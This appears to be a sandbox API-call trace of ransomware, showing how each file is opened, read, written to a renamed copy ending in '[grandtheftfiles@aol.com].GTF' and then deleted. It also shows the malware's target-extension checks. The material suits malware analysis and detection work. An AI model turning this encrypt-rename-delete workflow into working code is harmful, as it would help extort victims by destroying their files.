	[0087.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.093] lstrlenW (lpString=".1cd") returned 4
	[0087.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.093] lstrlenW (lpString=".jpg") returned 4
	[0087.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.093] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.093] lstrlenW (lpString="FD00296_.WMF") returned 12
	[0087.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.094] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15856) returned 1
	[0087.094] CloseHandle (hObject=0x378) returned 1
	[0087.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220
	[0087.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.094] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.094] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.094] GetLastError () returned 0x0
	[0087.094] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3df0, lpOverlapped=0x0) returned 1
	[0087.096] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3e00, lpOverlapped=0x0) returned 1
	[0087.097] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.097] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.097] SetEndOfFile (hFile=0x35c) returned 1
	[0087.098] CloseHandle (hObject=0x35c) returned 1
	[0087.098] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.098] SetEndOfFile (hFile=0x378) returned 1
	[0087.100] CloseHandle (hObject=0x378) returned 1
	[0087.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1
	[0087.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.100] lstrlenW (lpString=".doc") returned 4
	[0087.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.100] lstrlenW (lpString=".docx") returned 5
	[0087.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.100] lstrlenW (lpString=".pdf") returned 4
	[0087.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString=".xls") returned 4
	[0087.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.101] lstrlenW (lpString=".xlsx") returned 5
	[0087.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.101] lstrlenW (lpString=".ppt") returned 4
	[0087.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.101] lstrlenW (lpString=".zip") returned 4
	[0087.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.101] lstrlenW (lpString=".rar") returned 4
	[0087.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString=".bz2") returned 4
	[0087.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString=".7z") returned 3
	[0087.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.101] lstrlenW (lpString=".dbf") returned 4
	[0087.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.101] lstrlenW (lpString=".1cd") returned 4
	[0087.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.101] lstrlenW (lpString=".jpg") returned 4
	[0087.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.101] lstrlenW (lpString=".doc") returned 4
	[0087.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString=".docx") returned 5
	[0087.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.101] lstrlenW (lpString=".pdf") returned 4
	[0087.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.101] lstrlenW (lpString=".xls") returned 4
	[0087.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.102] lstrlenW (lpString=".xlsx") returned 5
	[0087.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.102] lstrlenW (lpString=".ppt") returned 4
	[0087.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.102] lstrlenW (lpString=".zip") returned 4
	[0087.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.102] lstrlenW (lpString=".rar") returned 4
	[0087.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.102] lstrlenW (lpString=".bz2") returned 4
	[0087.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.102] lstrlenW (lpString=".7z") returned 3
	[0087.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.102] lstrlenW (lpString=".dbf") returned 4
	[0087.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.102] lstrlenW (lpString=".1cd") returned 4
	[0087.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0087.102] lstrlenW (lpString=".jpg") returned 4
	[0087.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.102] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.102] lstrlenW (lpString="FD00297_.WMF") returned 12
	[0087.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.103] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=18194) returned 1
	[0087.103] CloseHandle (hObject=0x378) returned 1
	[0087.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220
	[0087.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.103] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.103] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.104] GetLastError () returned 0x0
	[0087.104] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4712, lpOverlapped=0x0) returned 1
	[0087.109] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4720, lpOverlapped=0x0) returned 1
	[0087.110] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.110] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.110] SetEndOfFile (hFile=0x35c) returned 1
	[0087.110] CloseHandle (hObject=0x35c) returned 1
	[0087.110] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.111] SetEndOfFile (hFile=0x378) returned 1
	[0087.111] CloseHandle (hObject=0x378) returned 1
	[0087.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1
	[0087.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.112] lstrlenW (lpString=".doc") returned 4
	[0087.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.112] lstrlenW (lpString=".docx") returned 5
	[0087.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.112] lstrlenW (lpString=".pdf") returned 4
	[0087.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.112] lstrlenW (lpString=".xls") returned 4
	[0087.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.112] lstrlenW (lpString=".xlsx") returned 5
	[0087.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.112] lstrlenW (lpString=".ppt") returned 4
	[0087.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.112] lstrlenW (lpString=".zip") returned 4
	[0087.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.112] lstrlenW (lpString=".rar") returned 4
	[0087.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.112] lstrlenW (lpString=".bz2") returned 4
	[0087.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.112] lstrlenW (lpString=".7z") returned 3
	[0087.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.112] lstrlenW (lpString=".dbf") returned 4
	[0087.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".1cd") returned 4
	[0087.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".jpg") returned 4
	[0087.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".doc") returned 4
	[0087.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString=".docx") returned 5
	[0087.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.113] lstrlenW (lpString=".pdf") returned 4
	[0087.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString=".xls") returned 4
	[0087.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.113] lstrlenW (lpString=".xlsx") returned 5
	[0087.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.113] lstrlenW (lpString=".ppt") returned 4
	[0087.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".zip") returned 4
	[0087.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.113] lstrlenW (lpString=".rar") returned 4
	[0087.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString=".bz2") returned 4
	[0087.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString=".7z") returned 3
	[0087.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".dbf") returned 4
	[0087.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".1cd") returned 4
	[0087.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.113] lstrlenW (lpString=".jpg") returned 4
	[0087.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.114] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.114] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0087.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.114] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=46814) returned 1
	[0087.114] CloseHandle (hObject=0x378) returned 1
	[0087.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220
	[0087.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.114] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.114] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.115] GetLastError () returned 0x0
	[0087.115] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xb6de, lpOverlapped=0x0) returned 1
	[0087.587] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xb6e0, lpOverlapped=0x0) returned 1
	[0087.615] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.615] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.615] SetEndOfFile (hFile=0x35c) returned 1
	[0087.615] CloseHandle (hObject=0x35c) returned 1
	[0087.615] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.615] SetEndOfFile (hFile=0x378) returned 1
	[0087.616] CloseHandle (hObject=0x378) returned 1
	[0087.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1
	[0087.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.617] lstrlenW (lpString=".doc") returned 4
	[0087.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString=".docx") returned 5
	[0087.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.617] lstrlenW (lpString=".pdf") returned 4
	[0087.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString=".xls") returned 4
	[0087.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.617] lstrlenW (lpString=".xlsx") returned 5
	[0087.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.617] lstrlenW (lpString=".ppt") returned 4
	[0087.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.617] lstrlenW (lpString=".zip") returned 4
	[0087.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.617] lstrlenW (lpString=".rar") returned 4
	[0087.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString=".bz2") returned 4
	[0087.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString=".7z") returned 3
	[0087.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.617] lstrlenW (lpString=".dbf") returned 4
	[0087.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.617] lstrlenW (lpString=".1cd") returned 4
	[0087.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.617] lstrlenW (lpString=".jpg") returned 4
	[0087.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.618] lstrlenW (lpString=".doc") returned 4
	[0087.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString=".docx") returned 5
	[0087.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.618] lstrlenW (lpString=".pdf") returned 4
	[0087.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString=".xls") returned 4
	[0087.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.618] lstrlenW (lpString=".xlsx") returned 5
	[0087.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.618] lstrlenW (lpString=".ppt") returned 4
	[0087.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.618] lstrlenW (lpString=".zip") returned 4
	[0087.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.618] lstrlenW (lpString=".rar") returned 4
	[0087.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString=".bz2") returned 4
	[0087.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString=".7z") returned 3
	[0087.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
